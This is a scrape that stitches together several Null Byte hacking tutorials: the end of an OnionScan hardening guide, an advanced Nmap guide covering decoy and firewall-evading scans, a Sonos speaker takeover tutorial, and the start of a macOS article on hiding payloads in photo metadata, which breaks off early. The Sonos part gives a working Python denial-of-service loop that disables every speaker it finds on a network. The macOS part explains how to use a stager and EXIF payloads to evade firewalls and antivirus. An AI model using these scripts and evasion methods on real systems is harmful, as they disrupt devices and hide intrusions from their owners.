SSH public key fingerprints, SMTP banners, and other FTP, IRC, Ricochet, and MongoDB server information. These banners are often misconfigured to reveal information about the target server, including OS versions, hostnames, and IP addresses. This information can be compared to other onion and clearnet servers in order to try and identify the actual server location.This image is an example of OnionScan revealing SSH and SMTP banners:How to Fix ThisBy default, SSH will try to listen on 0.0.0.0. This means your SSH server will attempt to broadcast on every interface, making your SSH server accessible to search engines like Shodan. Modify the SSH config file by typing the following command into a terminal.nano /etc/ssh/sshd_configNotice the "ListenAddress" line is set to0.0.0.0.ListenAddress 0.0.0.0ListenAddress ::We'll need to modify that to127.0.0.1so it looks like the following text.ListenAddress 127.0.0.1#ListenAddress 0.0.0.0#ListenAddress ::Save and close the sshd_config file, then restart your SSH server by typing the following command into a terminal.sudo systemctl restart ssh5. Cryptocurrency ClientsOnionScan scans for common cryptocurrency clients including Bitcoin and Litecoin. From these, it extracts other connected onion services as well as the user agent.How to Fix ThisIf it's not absolutely necessary, don't publicly share currency information on your websites. Unfortunately, there's not much we can do to "fix" website scanners and crawlers from collecting your cryptocurrency addresses.Looking Deeper into the Dark WebOnionScan is a powerful tool. The image below is a graphical representationthe developers created using OnionScanwhich depicts connections made between a vast majority of sites on the dark web. These connections were established using Bitcoin addresses, Apache mod_status leaks, SSH fingerprints, and other types of identifiers.Image by OnionScan/Mascherari PressWhile many people may think dark web sites are anonymous by design, the reality is that they require attention like any other site to truly protect the identity of the administrator. Here, we've covered the common ways the owner of an onion service can improve their security, as the most useful methods for de-anonymizing a poorly configured onion service.I hope that you enjoyed this OnionScan tutorial. If you have any questions, feel free to leave a comment below.Don't Miss:Host Your Own Tor Hidden Service with a Custom Onion AddressFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaWallup.net; Screenshots by tokyoneon/Null ByteRelatedHow To:Use export plug-ins in ApertureDark Side of the Prism:Get Alerted Whenever You Visit a Website Owned by a PRISM-Targeted CompanyHow To:Access the Dark Web While Staying Anonymous with TorHow To:Stay Anonymous on Your Nexus 7Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Become Anonymous & Browse the Internet SafelySpraffl:A New Location-Based Social Network That's Completely AnonymousTypoGuy Explaining Anonymity:Who Is Anonymous?Advanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowSPLOIT:How to Make a Proxy Server in PythonHow To:Enable Dark Mode in Google Maps on iPhone & AndroidHow To:Perform Directory Traversal & Extract Sensitive InformationAnonymous Texting 101:How to Block Your Cell Phone Number While Sending Text MessagesHow To:Stay as Anonymous as Possible OnlineHow To:Who Is Anonymous? How the Wall Street Journal and the NSA Got It WrongHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebNews:Anonymous Hackers Replace Police Supplier Website With β€˜Tribute to Jeremy HammHow To:Use I2P to Host and Share Your Secret Goods on the Dark Webβ€”AnonymouslyNews:FBI holds teleconference regarding Anonymous - but they were listening!Lockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:AnonymousNews:The Basics Of Website MarketingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItHow To:Search for Google+ Posts & Profiles with GoogleIPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:MegaUpload goes down - Anon retaliates.How To:Detect hackers on your network with EttercapDon't Get Doxed:5 Steps to Protecting Your Private Information on the WebNews:The Dark KnightNews:VMware source code leaked by Anonymous under the banner of The Pirate BayNews:Symantec Source Code Released by Anon After Failed NegotiationsNews:Call to Webmasters EverywhereNews:Side by Side of Arri's Alexa and RED's Mysterium XEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkNews:IGNNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:3 Unique Alternative Web Browsers for Your iOS DeviceNews:Indie and Mainstream Online Games Shut Down by LulzSecNews:Dark Souls - MΓΈrke Sjeler
Hack Like a Pro: Advanced Nmap for Reconnaissance Β« Null Byte :: WonderHowTo
Welcome back, my novice hackers!Reconnaissanceis one of the most important preparatory steps to hacking. As I have emphasized many times before here on Null Byte, you must know the operating system, the ports, the services, the applications, and sometimes even the language of the target to be effective. If you haven't taken the time to gather this info, then you are likely wasting your time.In anearlier post, I had shown you the most widely-used and valuable reconnaissance tool in the hacker's toolbox, nmap. There are a number ofother recon toolsthat are also helpful such ashpingandxprobe, but nmap is the standard by which all others are judged. I STRONGLY recommend that you master nmap if you are to truly call yourself a hacker.Don't Miss:Tactical Nmap for Beginner Network ReconnaissanceI've already shown you some ofthe basics of nmap, like performing port scans using the TCP (-sT) and SYN (-sS) scans, as well as performing OS (-O) detection. In addition, I showed you how to change the speed of the scans to evade intrusion detection systems.This post will take you through some more advanced features so that it can be an even more useful tool for you. To begin, let's fire upKali Linuxand open nmap.Step 1: Open Nmap in KaliOpen a terminal in Kali and type nmap.kali > nmapWhen you do so, nmap will display the help screen like that below.At the bottom of the first screen, you will see a section named SCAN TECHNIQUES. Inmy earlier post, we used the -sS and -sT scans.Using nmap's basic syntax:nmap <scantype> IP addressWe get results like that below showing all of the TCP ports that are open on our target machine and the default service for that port.Step 2: Scan for Specific Port or Port RangeSometimes we are looking for a specific port or a port range. Nmap uses the -p switch to designate a port or port range. So, if we were only looking for ports 25-150, we could use:kali > nmap 192.168.89.191 -p25-150As you can see, this command scans and reveals only the ports in that port range.Step 3: Scanning a SubnetOften, we want to scan more than a single IP address. Nmap allows us to use CIDR notation to designate an entire subnet. So, for instance, if we wanted to scan on entire Class C subnet (256 hosts) for port 80 open, we could type:kali > nmap 192.168.89.0/24 -p80As you can see in the last line of this output from nmap, it scanned all 256 addresses in the subnet and found "2 hosts up." One host had port 80 open and the other did not.Step 4: Spoofing & Decoy ScanWhen we are scanning machines that are not ours, we often want to hide our IP (our identity). Obviously, every packet must contain our source address or else the response from the target system will not know where to return to.The same applies to spoofing our IP when using nmap. We CAN spoof our IP address (-S) in nmap, but as a result, any response and any info we are trying to gather will return to the spoofed IP. Not very useful, if we are scanning for info gathering.A better solution is to obfuscate our IP address. In other words, bury our IP address among many IP addresses so that the network/security admin can't pinpoint the source of the scan. Nmap allows us to use decoy IP addresses so that it looks like many IP addresses are scanning the target.We can do this by using the -D switch, such as:nmap -sS 192.168.89.191 -D 10.0.0.1,10.0.0.2,10.0.0.4This scan will use three decoy IP addresses, but also use our own address as well. In this way, we get responses and the info on the target AND the admin of the system sees scans coming from four systems simultaneously. In this way, he can't pinpoint the true source of the scan easily.Step 5: Evading FirewallsMany firewalls and routers block or drop the ICMP (echo request, echo reply) ping. This is meant to obscure the presence of the hosts behind the firewall and protect against a possible DoS using the ping packet.When you use nmap to scan a system or network, by default, it send out a ping to see if the host is up and if it gets a response, it then sends the specified packets to scan the system. If the ping is blocked or dropped, nmap gives up and says, "host is down."To get around firewalls and routers that block or drop the ping, we need to suppress nmap's default behavior of sending out that initial ping and get past the firewall that is blocking us. We can do this by using the -P0 switch:kali > nmap -sS -P0 192.168.89.191Step 6: Gathering Version InfoWhen nmap runs a port scan, it retrieves the port info (open/closed/filtered) and then gives us thedefaultservice that is running on that port. As one can run ANY service on any port, that may not be adequate information. If our attack requires a particular service on a particular port, gathering the default information may not be enough.We need to know what service is actually running on that port, not the default service. For instance, knowing that port 80 is open and running http is good to know, but if our attack is specific to Apache, then if the target has Microsoft's IIS running on that port, it won't work. We often need the service on the port.Nmap has a feature that interrogates the service running on each port scanned. It can be used with the -V switch, such as:kali > nmap -V 192.168.89.191Notice in the output above that the server is running an older version of IIS on port 80. That makes a tempting target!Step 7: UDP ScanUp until this point, all of our scans have been for TCP ports. Some services and ports use UDP to communicate to the outside world. Our previous scan types (-sS and -sT) will not find UDP ports as they are only looking for TCP ports. Some services only run on UDP, such NTP (port 123) and SNMP (port 161). To find these ports and services, we need to do a UDP scan. We can do this with the -sU switch:kali > nmap -sU 192.168.89.191As you can see, the UDP scan reveals ports and services not found with our TCP scans.Step 8: ReasonNote in the output from the UDP scan above that some ports are reported as open/filtered. This indicates that nmap cannot determine whether the port is open or it is filtered by a device such as a firewall.Unlike TCP ports that respond with a RST packet when they are closed, UDP ports respond with an ICMP packet when they are closed. This can make scans far less reliable, as often the ICMP response is blocked or dropped by intermediate devices (firewalls or routers).Nmap has a switch that will return the reason why it has placed a particular port in a particular state. For instance, we can run the same UDP scan as above with the--reasonswitch and nmap will return the same results, but this time will give us the reason it has determined the particular state of the port.kali > nmap -sU --reason 192.168.89.191Notice in the screenshot above that I have highlighted the "reason" that nmap has found that port 123 is either open or filtered. Nmap tells us that it received "no response," so it doesn't know if that port is open or filtered.Step 9: Using a ListMany times we want to scan a list of IP addresses and not an entire subnet. We can use any text editor and create a list of IP addresses and "feed" it to nmap. Here, I am using Leafpad, which is built into Kali (any text editor will work), to put together a list of IP addresses I want to scan.Then I can use this list of IP address in nmap rather than having to retype these IP addresses each time I scan.kali > nmap -iL scanlist.txtAs you can see, nmap scanned all five IP addresses I listed in my text document, but only found two were up.Step 10: Ouput to a FileIf we are scanning multiple IP addresses, we probably want to save the output to a file for later reference. Although nmap has many ways and formats to save the output, I prefer the -oN (output normal) switch.Simply add the -oN switch at the end of the command with the name of the file you want to save the output to. Here, I have used a file named "portscan.txt":kali > nmap -sS 192.168.89.191 -oN portscanWhen I run the command, I get my same output to the screen, but I also get that output saved to a file. I can view the contents of that file by using thecat, more, less commands. Here I have used the cat command.kali > cat portscan.txtAs you can see, the output that always appears on the screen with a nmap scan is now saved to a file for later reference and some permanence.Nmap is one of those tools that EVERY hacker must master to be proficient at this trade. With this post, we have advanced your nmap skills another step, but we still have much to learn, so keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image vianmapRelatedHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Advanced Penetration Testing - Part 1 (Introduction)How to Hack Databases:Hunting for Microsoft's SQL ServerHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Easily Detect CVEs with Nmap ScriptsHow To:Tactical Nmap for Beginner Network ReconnaissanceDissecting Nmap:Part 1How To:Do a Simple NMAP Scan on ArmatigeHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceZanti:NmapHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Do an Idle Scan with NmapHack Like a Pro:The Hacker MethodologyHack Like a Pro:Scripting for the Aspiring Hacker, Part 2 (Conditional Statements)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHow To:The Five Phases of HackingHow To:Get Started Writing Your Own NSE Scripts for NmapHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesNews:Rock Band 3 unveiled! (Keyboard!)Null Byte:Never Let Us DieCamera Plus Pro:The iPhone Camera App That Does it All
How to Take Control of Sonos IoT Devices with Python Β« Null Byte :: WonderHowTo
Many popular IoT devices have terrible security. For instance, a hacker who's on the same Wi-Fi network as aSonos speakercan assume direct control over the device's behavior. If an IoT device doesn't secure the messages used to control it over a network, it's easy for somebody to write a few Python scripts to make it do whatever they want.Why IoT Devices Aren't Always SecureInternet of things devices are low-cost, internet-connected pieces of hardware which often straddle the line between a great idea and completely unnecessary. The trend of putting a Wi-Fi card in objects which are made only marginally more useful, if at all, by connecting them to the internet, means that many different manufacturers are baking in their own version of security into these devices.Many of these Wi-Fi-enabled products, likelight bulbs,thermostats, andspeakers, have become mainstream products, trickling down to reach even the least tech-savvy of users. Because of how widespread the adoption of IoT devices has been, the belief among IoT device manufacturers is that their gear must be, above all, easy to use, which means lax security.Don't Miss:Use One Python Command to Bypass Antivirus SoftwareThe majority of IoT devices use poorly secured APIs that assume that if you are allowed on the same local Wi-Fi network as the device, you must have permission to be interacting with it. As a result, many IoT devices allow anyone on the local Wi-Fi network to control them with the right commands, without ever asking a user for a password or login of any kind.SoCo, SoCos & API Libraries for IoT DevicesSome of the most popular types of IoT devices areSonos connected speakers, which allow anyone on the local network to control them through a mobile or desktop application. Because of how widespread and easy-to-control Sonos speakers are, they make a perfect example to examine how we can influence them.Unlike mobile applications communicating with remote servers, running the Sonos app on your phone or desktop sends commands directly to the Sonos on your home network. Because these commands can be sent by anyone, not just the Sonos app, we can make application calls from a Python program if we know the API that the Sonos device uses.Don't Miss:Python Scripting for the Aspiring HackerLuckily for hackers, the API for many standard IoT devices are well known and documented unofficially. The Sonos API has even been turned into a library for Python! The SoCo and SoCos libraries allow a Python programmer to discover and issue commands to Sonos devices on a local network, either via a command-line interface or via a Python script written in an IDE.To show how this works, we'll analyze the waySonos devicescan be controlled o build a denial-of-service script to disable any Sonos system on the network.Designing Your Own Behaviors with PythonUsing the SoCo (Sonos Controller) library for Python, we can start to look at what kind of behaviors we would want to script in an IoT device. While we could change the song repeatedly to a classic anthem of intense sensual power like "Never Gonna Give You Up," this behavior would immediately tip off everyone nearby that someone was messing with the speaker. Instead, reviewing the available commands to us, it seems like a denial-of-service attack would be trivially easy to perform.A denial-of-service attack aims to simply break the way a device usually works to deny other people the ability to use it. In a Wi-Fi DoS attack, we would kick everyone off the network repeatedly to prevent anyone from using the internet. In this attack, we'll be locating any Sonos devices on the network, and then sending them the "Stop playing" command over and over, making it impossible to use the Sonos speaker from the normal application.What You'll NeedTo get started, you'll need a Sonos device on your network that you have permission to connect to. While the point of this article is that simply being connected to the same network as the device gives you permission to mess with it, doing so could get you in trouble if the owner doesn't approve of what you're doing.Good Test Device:1st Gen Sonos One Smart SpeakerNext, you'll need a Python IDE to write your code. IDEs are helpful because they let us work on our code in an optimized environment and give us a lot of feedback about what's happening with our code along the way. I recommendPyCharm, especially if you're a student, as they give free licenses of their professional product to students.Once you've set up PyCharm, make sure your computer has Python installed. The best way to do this is to go to a terminal window, typepython3, and pressreturn. If you get a command prompt, you have Python3, and you're ready to begin. If you don't, you may need to download Python3 before continuingfrom the official website.Don't Miss:Building a Simple Hacking Tool in PythonStep 1: Start a New Python ProjectOnce you have PyCharm download, open the file, and follow the installation steps to set it up. If you already have it set up, just open the PyCharm application. The first time you open PyCharm, you should see a screen like this:Click "Create New Project," then name the project something memorable if you want. Click on "Create" to open a new project window.Within the new project window, we'll need to start a new Python file. Right-click on the project screen on the left side, then select the "New" drop-down menu. From that menu, select "Python File" to create a blank Python file. Name it something you'll remember.There we go! We should now have a Python file open and ready to run. To make sure your Python is working, you can go ahead and throw a simple script into it. Paste the following into the text editor, right-click in the Project area, then click "Run."for i in range (20): print("It works!")It should produce a result like the one below.If you see the script working, you're ready to move on to installing the SoCo library.Step 2: Install the SoCos LibraryThere are two different ways of controlling a Sonos device on the network. The first we'll explore is SoCos, which is the command-line version of SoCo. To install SoCos, go to a terminal window, and type the following.~# pip install socos Collecting socos Downloading https://files.pythonhosted.org/packages/74/0e/4ebdb27435fd23b105f01e2b9b7b42050cd20e1d0e59d02e7ac8a3c8e0df/socos-0.2-py2.py3-none-any.whl Collecting soco==0.11.1 Downloading https://files.pythonhosted.org/packages/8e/01/34d3e9577cf6ef0bbcb7cdc44140f0e672dae4a5e11d45d7692f3f6ab979/soco-0.11.1-py2.py3-none-any.whl (81kB) |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 81kB 584kB/s Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from soco==0.11.1->socos) (2.21.0) Installing collected packages: soco, socos Successfully installed soco-0.11.1 socos-0.2 WARNING: You are using pip version 19.3.1; however, version 20.0.2 is available. You should consider upgrading via the 'pip install --upgrade pip' command.This should install the command-line version of Socos. To use it, go ahead and runsocosin your terminal window. When in thesocostool, typehelpto see what's available.~# socos socos> help Available commands: * list List available devices * partymode Put all the speakers in the same group, a.k.a Party Mode. * info Information about a speaker * play Start playing * pause Pause * stop Stop * next Play the next track * previous Play the previous track * mode Change or show the play mode of a device * current Show the current track * queue Show the current queue * remove Remove track from queue by index * volume Change or show the volume of a device * bass Change or show the bass value of a device * treble Change or show the treble value of a device * state Get the current state of a device / group * tracks Public convenience method for `_search_and_play` * albums Public convenience method for `_search_and_play` * artists Public convenience method for `_search_and_play` * playlists Public convenience method for `_search_and_play` * sonos_playlists Public convenience method for `_search_and_play` * exit Exit socos * set Set the current speaker for the shell session by ip or speaker * unset Resets the current speaker for the shell session * help Print a list of commands with short descriptionAbove, we can see that we have commands available for locating devices on the network, playing them, stopping them, and doing a variety of other useful things from the command line. If simply controlling your Sonos from the command line is what interests you, then you can stop here and play around with SoCos for a while before moving on.For our purposes, we'll move on to installing SoCo in PyCharm so that we can start scripting behaviors, rather than relying on a command prompt.Step 3: Install the SoCo LibraryIn PyCharm, look at the bottom of the window to find the "Terminal" icon at the bottom. Click it, and it will open up a terminal prompt in the bottom of you PyCharm screen, allowing you to install libraries for PyCharm to use.Once this window is open, you can typepip install socoto install the SoCo library to PyCharm. You can type the same command in a system terminal window to install the library to your system overall.~# pip install soco Requirement already satisfied: soco in /Users/skickar/venv/lib/python3.6/site-packages Requirement already satisfied: xmltodict in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Requirement already satisfied: requests in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Requirement already satisfied: idna<2.8,>=2.5 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Requirement already satisfied: urllib3<1.24,>=1.21.1 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Requirement already satisfied: certifi>=2017.4.17 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /Users/skickar/venv/lib/python3.6/site-packages (from soco) You are using pip version 9.0.1, however version 18.1 is available You should consider upgrading via the 'pip install --upgrade pip' commandOnce PyCharm confirms that SoCo is installed, we can get started writing our first script for the Sonos!Step 4: Locate a Device on the NetworkNow that we have SoCo set up in PyCharm, let's write the first part of our script. To learn about the way SoCo can interact with Sonos speakers, we can refer to thedocumentation page for the project.In the documentation, we see that there are a few commands for discovering Sonos devices on the network. The most useful one is to grab all Sonos devices using thesoco.discover()function. The function will put the information needed to control the Sonos device into a variable called "devices.">>> import soco >>> devices = soco.discover() >>> devices set(SoCo("192.168.0.10"), SoCo("192.168.0.30"), SoCo("192.168.0.17")) >>> device = devices.pop() >>> device SoCo("192.168.0.16")Now that we can target any Sonos devices on the network, let's try an API call.Step 5: Try Out an API CallNext, we'll actually get the Sonos device to do something using our Python code. In PyCharm, let's make any Sonos devices we've detected do something. Referring to the documentation, there are a number of things we can do.The normal play, pause and stop functionality is provided with similarly named methods (play(), pause() and stop()) on the SoCo instance and the current state is included in the output of get_current_transport_info():β€”SoCo DocsFor our purposes, we'll be using thestop()function. By repeating this function directed at all Sonos devices we detect, we'll essentially be creating a denial-of-service attack.Step 6: Write a Python ScriptNow, to create our Python code, we'll need to import the SoCo library. Next, we'll need to detect any Sonos devices on the network and dump them into a variable called "device."import soco device = soco.discovery.any_soco()Next, we'll need to test to see if we got a result, and use awhileloop to define what to do. We'll check to see if the variable "device" contains anything. If it does, we'll send thestopcommand. If it's empty, we'll say "No device found."while len(str(device)) != 0: print("Denial of Service Attack in progress on: ", device) device.stop() else: print("No device found.")This simple code should do everything we need, so the only thing we need to do next is test it out, and see if we can connect to and control a Sonos device. Below is the 7 lines together that you can easily copy and paste.import soco device = soco.discovery.any_soco() while len(str(device)) != 0: print("Denial of Service Attack in progress on: ", device) device.stop() else: print("No device found.")Step 7: Find Sonos Devices with Ports OpenTo discover a Sonos device outside of SoCos, we can run anNmapscan with the following ports specified to search the network. Sonos devices will have ports 1400, 1420, and 1443 open, so to detect them, we'll scan for these.You'll need to find the IP address range for your network, which you can do by takingyour IP addressand typing it after the commandipcalcin a terminal window.~# ipcalc 172.16.42.61 Address: 172.16.42.61 10101100.00010000.00101010. 00111101 Netmask: 255.255.255.0 = 24 11111111.11111111.11111111. 00000000 Wildcard: 0.0.0.255 00000000.00000000.00000000. 11111111 => Network: 172.16.42.0/24 10101100.00010000.00101010. 00000000 HostMin: 172.16.42.1 10101100.00010000.00101010. 00000001 HostMax: 172.16.42.254 10101100.00010000.00101010. 11111110 Broadcast: 172.16.42.255 10101100.00010000.00101010. 11111111 Hosts/Net: 254 Class B, Private InternetOnce you know your network range, you can run the following command to scan for Sonos devices on the same network.~# nmap -p 1400, 1420, 1443 172.16.42.0/24If you see devices that say these ports are open, then you should be ready to continue to the next step. However, there might be a lot of devices with those open ports from different manufacturers, but you can whittle the results down to just Sonos devices using thegrepcommand. Make sureSonosis capitalized as that's how it will likely be listed on the scan.~# nmap -p 1400, 1420, 1443 172.16.42.0/24 | grep 'Sonos' MAC Address: 94:9F:3E:f$:04:3C (Sonos) MAC Address: 94:9F:3E:F5:96:0A (Sonos)Step 8: Assume Direct Control of the DeviceBack in PyCharm, it's time to try our Python script. Press the green play button in the top menu to run our Python script. If nothing happens, right-click the project window, select "Run," then the name of your project. Sometimes, PyCharm will try to run the wrong project, so make sure it's the right one.If the script succeeds, you should hear an immediate stop to any music playing and see an output like the one below stating the IP address of the Sonos device being affected.Other users will not be able to regain control of the device from the mobile or desktop app due to the intensity of the stop commands being sent to the device. Until you stop the loop, the device will continue to stop any playback, rendering the Sonos useless. This sort of attack can be modified to perform any creative action you could want, even doing things like changing the song when a specific device joins the network.Keeping Your IoT Devices SafeIt's important to remember that IoT devices are increasingly designed for convenience, not security. This can be frustrating for anyone wanting to keep their devices safe, but there are a few ways you can still take device security into your own hands.Be careful who you give access to your Wi-Fi network. This gives them access to every device on your network, some of which may not have the best security set up. You should also never set up IoT devices on an open network.Don't Miss:Use Beginner Python to Build a Brute-Force Tool for SHA-1 HashesInstead, consider setting up a guest network that does not allow devices to connect. Restricting guests to their own subnet on a Wi-Fi network prevents them from communicating with anything else on the network, eliminating the problem of guests on the Wi-Fi interacting with the Sonos.In general, you should be careful when connecting new devices to a network before you fully understand how they work. Because most IoT devices don't check too hard to see who is controlling them, they're frequently a target of malware and other types of abuse. You can do your part by making sure to connect IoT devices in a way that doesn't allow random outsiders to configure or access them.I hope you enjoyed this guide to controlling IoT devices with Python API calls! If you have any questions about this tutorial on IoT security or if you have a comment, feel free to ask it below or reach out to me on Twitter@KodyKinzie.Don't Miss:VPN Your IoT & Media Devices with a Raspberry Pi PIA RoutertrafficWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Hijack Chromecasts with CATT to Display Images, Messages, Videos, Sites & MoreHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Detect Bluetooth Low Energy Devices in Realtime with Blue HydraHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalHow To:Learn Everything You'll Ever Need to Know About IoTHow To:Become an IoT Master with This eBook + Video BundleHow To:Seize Control of a Router with RouterSploitHow To:The Novice Guide to Teaching Yourself How to Program (Learning Resources Included)News:Zappar Extends AR Services to EVRYTHNG IoT PlatformNews:DAQRI Begins Shipping Its Ruggedized, Yet Portable AR Smartglasses WorldwideHow To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonDeveloper Spotlight:AfterNow's Creative Approach to UX Design & IoT in Mixed RealityHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow to Train Your Python:Part 5, Intro to Control Flow and BooleansMarket Reality:Boeing HorizonX Takes Flight with AR InvestmentHow To:Introduction to the C.H.I.P by Next Thing Co - IoT Hacking Device?How To:Use UFONetHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 3 (Building an FTP Password Cracker)News:Mirai Botnet Source Release Threatens Increased DDoS Attacks from Smart Home DevicesHow to Train Your Python:Part 1, IntroductionNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverNews:Learning Python 3.x as I go (Last Updated 6/72012)Pygame:All You Need to Start Making Games in PythonNews:Ball PythonsHow To:Send SMS Messages with PythonHow To:Make a Gmail Notifier in PythonHow To:Make a Change-of-IP Notifier in PythonHow To:Enable Code Syntax Highlighting for Python in the Nano Text EditorNews:Monty Python's World Cup - In case you haven't seen itHow To:Generate Word-Lists with Python for Dictionary AttacksPet Portrait Challenge:FranklinNews:Learn to Code in Python, Part One: Variables, Input and OutputNews:Get the Perfect Cup of Java with a DIY Linux-Powered Coffee RoasterCommunity Byte:Coding a Web-Based Password Cracker in PythonWeekend Homework:How to Become a Null Byte ContributorGoodnight Byte:Coding a Web-Based Password Cracker in PythonWeekend Homework:How to Become a Null Byte Contributor (1/29/2012)How To:Code Your Own Twitter Client in Python Using OAuth
Hacking macOS: How to Hide Payloads Inside Photo Metadata Β« Null Byte :: WonderHowTo
Complex shell scripts can be implanted into photo metadata and later used to exploit a MacBook. In addition to obfuscating the true nature of an attack, this technique can be used to evade network firewalls as well as vigilant sysadmins.In this attack scenario, a malicious command will be embedded directly into the EXIF metadata of an image file. The attacker would host the malicious image on a public website like Flickr, making it accessible for anyone to download. A stager will then be created to download the image, extract the metadata, and execute the embedded command.To be clear, double-clicking the image file will not cause the embedded command to execute. That's a different kind ofmacOS attack, something we'vecovered in another article. Instead, the command will be hidden in the metadata of the image and used as a payload delivery system.Thestagerandpayloadare two different aspects of the attack. The stager is designed to download the image and execute the embedded payload, while the payload is the final bit of code (embedded in the picture) designed to perform one or more commands.Don't Miss:How to Bypass Mojave's Elevated Privileges PromptWhy Embed Payloads into Images?So, why have a stager at all if the attacker is already in a position to execute code on the target MacBook? Well, primarily, varying degrees of active evasion. Also, stagers can be quite small, only ~100 characters long, making them quicker to execute with aUSB Rubber DuckyorMouseJack attack, for example.In most scenarios, hiding a payload inside an image file isn't required. In highly secure environments, however, whereevery domain is loggedby firewall software, it may be beneficial to conceal the contents and origin of the payload.1. Firewall EvasionWith software likepfSense, every domain and IP address visited by each device on the network is logged. With commercial software likeFortinet's FortiGate firewall, each packet can be thoroughly dissected for analysis. These kinds of firewalls make it difficult for an attacker using simple TCP connections established withNetcatto persist on the compromised device or covertly map the network.The usage of images to conceal payloads can make it difficult for sysadmins monitoring traffic to identify the activity as malicious or suspicious.2. Deep Packet Inspection EvasionIn secured environments, operating systems may be configured to use customcertificates, which make it possible for network administrators to decrypt data going to and a from devices on the network. With tools likeWireshark, it's possible to compile TCP streams andrecreate image files using the raw captured data.3. Antivirus EvasionPremium versions ofAvastandAVGantivirus software may analyze and detect certain kinds of stagers and payloads. For example, AV software can identify most stagers created byEmpire. With hardened network environments, it may require a high degree of obfuscation toevade detection signatures. Utilizing stagers can make it difficult for AV software to detect the true nature of a particular file.Don't Miss:How to Create an Undetectable Payload for macOSTools to Be Familiar WithBefore going forward, you should should have a general comfort with tools likecurl,system_profiler,exiftool,grep, andBashscripting before proceeding. All of these topics have been covered on Null Byte before at some point in some way.Step 1: Download an ImageTo get started, download the image that will be used in the attack. The stager (shown in a later step) won't actually save the image to the target's computer, so it doesn't have to be an image of anything particularly relevant. For demonstration purposes, we can usemy Twitter profile picture, which can be downloaded usingwgetand saved (-O) to the /tmp directory.~$ wget 'https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg' -O image.jpg --2019-05-15 06:50:22-- https://pbs.twimg.com/profile_images/944123132478189568/tgQESxWF_400x400.jpg Resolving pbs.twimg.com (pbs.twimg.com)... 72.21.91.70, 2606:2800:220:1410:489:141e:20bb:12f6 Connecting to pbs.twimg.com (pbs.twimg.com)|72.21.91.70|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 19316 (19K) [image/jpeg] 